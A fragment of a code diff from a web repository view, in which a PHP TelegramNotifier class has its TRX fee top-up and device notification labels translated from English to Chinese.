$lines[] = '❌ <b>错误</b>: '.$this->e($error);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
@@ -345,19 +345,19 @@ class TelegramNotifier
|
||||
?string $error = null,
|
||||
): void {
|
||||
$lines = [
|
||||
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
|
||||
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
|
||||
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
|
||||
];
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
|
||||
}
|
||||
if ($ok && $txid !== null && trim($txid) !== '') {
|
||||
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
|
||||
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
|
||||
}
|
||||
if (! $ok && $error !== null && trim($error) !== '') {
|
||||
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
|
||||
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
@@ -368,8 +368,8 @@ class TelegramNotifier
|
||||
$channelId = $this->contextForDevice($deviceId)['channel_id'];
|
||||
|
||||
return [
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
||||
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user